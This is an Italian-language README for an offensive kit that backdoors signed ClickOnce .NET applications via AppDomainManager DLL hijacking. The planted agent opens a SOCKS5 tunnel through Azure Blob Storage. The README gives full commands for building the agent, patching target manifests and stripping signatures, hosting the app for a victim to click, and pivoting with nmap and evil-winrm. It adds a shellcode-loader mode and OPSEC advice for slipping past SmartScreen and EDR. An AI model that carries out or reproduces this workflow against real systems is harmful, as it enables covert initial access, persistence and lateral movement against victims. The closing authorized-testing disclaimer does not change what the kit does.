Kit di Iniezione AppDomainManager ClickOnce

Armare applicazioni ClickOnce .NET firmate per l'accesso iniziale dirottando una DLL di dipendenza tramite iniezione AppDomainManager e caricando una porta C# dell'agente ProxyBlob. Include una porta C# di ProxyBlob — un proxy SOCKS5 che instrada tutto il traffico attraverso Azure Blob Storage, mimetizzandosi in ambienti dove *.blob.core.windows.net è nella whitelist.

Perché Funziona

ClickOnce è la tecnologia di distribuzione con un clic di Microsoft per le app .NET. Quando un utente fa clic su un URL .application, Windows scarica ed esegue l'app senza richiedere privilegi di amministratore. L'attacco:

1. Prendi un'applicazione ClickOnce legittima e firmata con una reputazione esistente
2. Sostituisci una delle sue DLL di dipendenza con l'agente SOCKS5 ProxyBlob
3. Inietta un file .exe.config che dice al CLR di caricare la nostra DLL come AppDomainManager
4. Correggi gli hash del manifest per corrispondere ai nostri nuovi file
5. Ospitala — la vittima fa clic sul link, vede un'app dall'aspetto reale, e ottieni un tunnel SOCKS5

L'.exe host rimane intatto e validamente firmato. SmartScreen vede un binario noto. L'EDR vede un processo fidato caricare moduli. Il tuo agente comunica solo con Azure Blob Storage tramite HTTPS.

Struttura del Repository

├── clickonce_backdoor.py              # Main script for backdooring ProxyBlob Agent DLL to ClickOnce App
├── examples/
│   ├── ProxyBlobAgent.cs              # ProxyBlob Agent ClickOnce DLL payload (AppDomainManager)
│   ├── ProxyBlobStandalone.cs         # Standalone Proxyblob console agent (for testing)
│   ├── ShellcodeLoader.cs             # Alternative: shellcode loader payload
│   └── MessageBoxPoC.cs               # PoC: message box (validates injection works)
└── README.md

Prerequisiti

Attaccante (Linux/macOS):

• Python 3.10+
• ProxyBlob proxy (Go binary)
• Azure Storage Account (o Azurite per test locali)

Macchina di build (Windows):

• .NET Framework csc.exe — si trova in C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe (rilevato automaticamente)
• NuGet CLI — download, posiziona nuget.exe accanto allo script o aggiungi al PATH (necessario solo per la modalità --proxyblob)

Lo script rileva automaticamente csc.exe e nuget.exe. Per --proxyblob, BouncyCastle e ILMerge vengono installati automaticamente tramite NuGet al primo avvio in una directory packages/ accanto allo script (persiste tra le esecuzioni).

Supporto per Architetture

Il codice dell'agente è neutrale rispetto all'architettura (nessun P/Invoke, nessuno shellcode). Il flag --platform (passato a csc.exe /platform:) controlla come il CLR lo carica:

Controlla un'app target con corflags.exe TargetApp.exe per determinare la sua piattaforma.

Utilizzo: Guida Passo-Passo Completa

Passo 1 — Configurare Azure Storage

# Create storage account
az storage account create \
    --name yourblobaccount \
    --resource-group yourgroup \
    --sku Premium_LRS \
    --kind BlockBlobStorage

# Get keys
az storage account keys list --account-name yourblobaccount --output table

Oppure usa Azurite in locale:

docker run -p 10000:10000 mcr.microsoft.com/azure-storage/azurite

Passo 2 — Avviare il Proxy ProxyBlob

git clone https://github.com/quarkslab/proxyblob && cd proxyblob && make

cat > config.json << 'EOF'
{
    "storage_account_name": "yourblobaccount",
    "storage_account_key": "YOUR_KEY_HERE"
}
EOF

./proxy -c config.json

Nella shell del proxy:

proxyblob » create
[+] Created container: d646856a-5ae9-4328-bcfc-d85e762aa345
[+] Connection string: aHR0cHM6Ly95b3VyYmxvYmFjY291bnQuYmxvYi5jb3JlLndpbmRvd3MubmV0Ly4uLg==

Salva quella stringa di connessione — va nell'agente.

Passo 3 — Testare prima con l'Agente Autonomo

Verifica sempre che l'agente funzioni in modo indipendente prima dell'integrazione con ClickOnce.

Sulla macchina di build Windows:

# Compile
csc.exe /platform:anycpu /out:ProxyBlobStandalone.exe ^
    examples\ProxyBlobStandalone.cs ^
    /r:packages\BouncyCastle.Cryptography.2.5.1\lib\netstandard2.0\BouncyCastle.Cryptography.dll ^
    /r:System.Net.Http.dll /r:netstandard.dll

# ILMerge into single exe (so BouncyCastle is embedded)
packages\ILMerge.3.0.41\tools\net452\ILMerge.exe ^
    /out:Agent.exe ^
    ProxyBlobStandalone.exe ^
    packages\BouncyCastle.Cryptography.2.5.1\lib\netstandard2.0\BouncyCastle.Cryptography.dll ^
    /targetplatform:v4

# Run
Agent.exe <connection-string>

Di nuovo sul proxy:

proxyblob » list
  d646856a │ username@DESKTOP │ active
proxyblob » select d646856a
proxyblob » start
[+] SOCKS5 proxy listening on 127.0.0.1:1080

Test:

proxychains curl http://ipconfig.io

Se funziona, procedi con l'integrazione ClickOnce.

Passo 4 — Trovare un'App ClickOnce Target

Cerca un'app ClickOnce target durante la ricognizione (cerca URL .application). Ti serve:

Scarica l'intera distribuzione ClickOnce:

# https://github.com/api0cradle/RedTeamScripts/blob/main/application_downloader.py
python3 application_downloader.py -u https://target-site.com/APPLICATION.application

Passo 5 — Compilare e Patchare in un Singolo Comando

Lo script compila automaticamente il sorgente C#, gestisce le dipendenze NuGet (per --proxyblob), unisce BouncyCastle nella DLL tramite ILMerge, e applica le patch a tutti i manifest — tutto in una singola esecuzione:

# ProxyBlob mode — auto-compiles, auto-installs NuGet packages, auto-merges
python clickonce_backdoor.py \
    --input ./APPLICATION.application \
    --url http://YOUR-SERVER \
    --proxyblob "aHR0cHM6Ly95b3VyYmxvYmFjY291bnQ..." \
    --output ./output

# PoC mode — quick validation that injection works
python clickonce_backdoor.py \
    --input ./APPLICATION.application \
    --url http://YOUR-SERVER \
    --poc --output ./output

# Shellcode mode
python clickonce_backdoor.py \
    --input ./APPLICATION.application \
    --url http://YOUR-SERVER \
    --shellcode beacon.bin --output ./output

# x64 target app
python clickonce_backdoor.py \
    --input ./APPLICATION.application \
    --url http://YOUR-SERVER/ \
    --proxyblob "aHR0cHM6Ly95b3VyYmxvYmFjY291bnQ..." \
    --platform x64 --output ./output

Lo script gestisce: la generazione del sorgente C# con le tue impostazioni incorporate, la compilazione tramite csc.exe, l'unione di BouncyCastle (per --proxyblob), la sostituzione della DLL, la creazione di .exe.config con l'iniezione AppDomainManager, l'aggiunta di entrambi i file ai manifest, il ricalcolo di tutti gli hash SHA256 e le dimensioni dei file, la rimozione delle firme del codice, l'azzeramento del publicKeyToken del vendor, e l'aggiornamento dell'URL del provider di distribuzione.

Override manuale: Puoi ancora usare --payload per fornire una DLL precompilata (salta la compilazione):

python clickonce_backdoor.py \
    --input ./APPLICATION.application \
    --url http://YOUR-SERVER \
    --payload payload.dll \
    --output ./output

⚠️ Insidia del Nome Assembly di ILMerge: ILMerge imposta il nome assembly interno dal nome del file di output, non dall'input. Se unisci in Foo_merged.dll e poi rinomini il file in Foo.dll, il nome interno è ancora Foo_merged — il CLR legge i metadati, non il nome file. Il .exe.config non corrisponderà e l'iniezione AppDomainManager fallisce silenziosamente senza errori. Lo script gestisce questo correttamente unendo direttamente nel nome finale.

Passo 6 — Ospitare e Consegnare

# Built-in server with correct MIME types and cache headers
python3 clickonce_backdoor.py serve --port 8000 --dir ./output

Oppure usa qualsiasi server web con questi tipi MIME configurati:

.application  → application/x-ms-application
.manifest     → application/x-ms-manifest
.deploy       → application/octet-stream

Invia alla vittima: http://YOUR-SERVER/APPLICATION.application

Fanno clic su Installa → l'app viene eseguita → il tuo tunnel SOCKS5 si apre.

Passo 7 — Usare il Tunnel

# On the proxy machine
proxyblob » list
proxyblob » select <container-id>
proxyblob » start

# SOCKS5 on 127.0.0.1:1080
proxychains nmap -sT -Pn 10.0.0.0/24
proxychains evil-winrm -i 10.0.0.50 -u admin -p password
proxychains curl http://internal-app.corp.local

Risoluzione dei Problemi

Compilazione

Runtime

Cache di ClickOnce

Pulisci tra distribuzioni di test:

rundll32 dfshim CleanOnlineAppCache

Modalità Diagnostica

Per il debug, usa prima ProxyBlobStandalone.cs — scrive log dettagliati su stderr mostrando tipi di pacchetto, eventi di connessione ed errori. Una volta confermato il funzionamento, passa a ProxyBlobAgent.cs per l'integrazione ClickOnce.

Come Funziona l'Agente C#

L'agente è una porta fedele dell'agente Go ProxyBlob. Tre bug critici sono stati trovati e corretti durante la portabilità:

1. Ordine dei Byte UUID — uuid.UUID di Go memorizza 16 byte nell'ordine RFC 4122 (big-endian). Il costruttore Guid di .NET scambia i primi 3 componenti in little-endian, causando discrepanze nel ConnectionID in transito. Risolto usando array byte[16] grezzi.

2. XChaCha20-Poly1305 — Go usa chacha20poly1305.NewX() = XChaCha20 con nonce da 24 byte. ChaCha20Poly1305 di BouncyCastle supporta solo nonce IETF da 12 byte. Risolto implementando la derivazione della sottochiave HChaCha20:

subkey     = HChaCha20(key, nonce[0:16])     // ChaCha20 quarter-rounds on key+nonce
ietf_nonce = 0x00000000 || nonce[16:24]      // Remaining 8 bytes become IETF nonce
ciphertext = ChaCha20Poly1305(subkey, ietf_nonce, plaintext)

3. Padding Base64 — Go usa base64.RawStdEncoding (senza padding =). .NET richiede il padding. Risolto aggiungendo automaticamente il padding prima della decodifica.

Protocollo

Packet: [Command:1B][ConnectionID:16B][DataLength:4B BE][Payload:var]
Commands: NEW(0x01) ACK(0x02) DATA(0x03) CLOSE(0x04)

Key Exchange:
  Proxy  → Agent: CmdNew  [nonce:24][pubkey:32]
  Agent  → Proxy: CmdAck  [agentPubkey:32]
  Symmetric key:  HKDF-SHA3-256(X25519(privA, pubB), salt=nonce, info=nil)
  Encryption:     XChaCha20-Poly1305 on all CmdData payloads

Blob Transport:
  info     — username@hostname XOR 0xDEADB10B
  request  — proxy→agente (l'agente interroga, legge, cancella)
  response — agente→proxy (l'agente scrive, il proxy legge, cancella)
  Polling: backoff esponenziale 50ms → 3s (×1.5)

Note OPSEC

• Il traffico va solo a *.blob.core.windows.net tramite HTTPS — si mescola con il traffico Azure legittimo
• Nessun SDK Azure — API REST HTTP grezza con autenticazione tramite token SAS (binario più piccolo, meno import da segnalare)
• Singola DLL tramite ILMerge — nessun file aggiuntivo rilasciato insieme all'app
• L'.exe host rimane validamente firmato — solo la DLL di dipendenza e il .config vengono modificati
• L'agente viene eseguito come thread in primo piano — sopravvive all'uscita dell'app host senza generare un nuovo processo
• Il processo appare in Task Manager con il nome dell'app legittima (ad es., APPLICATION)

Crediti

• Claude.ai
• ProxyBlob — Quarkslab (Alexandre Nesic)
• ClickOnce Research — SpecterOps (Nick Powers & Steven Flores)

Dichiarazione di non responsabilità

Questo strumento è solo per test di sicurezza autorizzati e ricerca. Usalo solo contro sistemi per cui hai esplicita autorizzazione scritta per i test.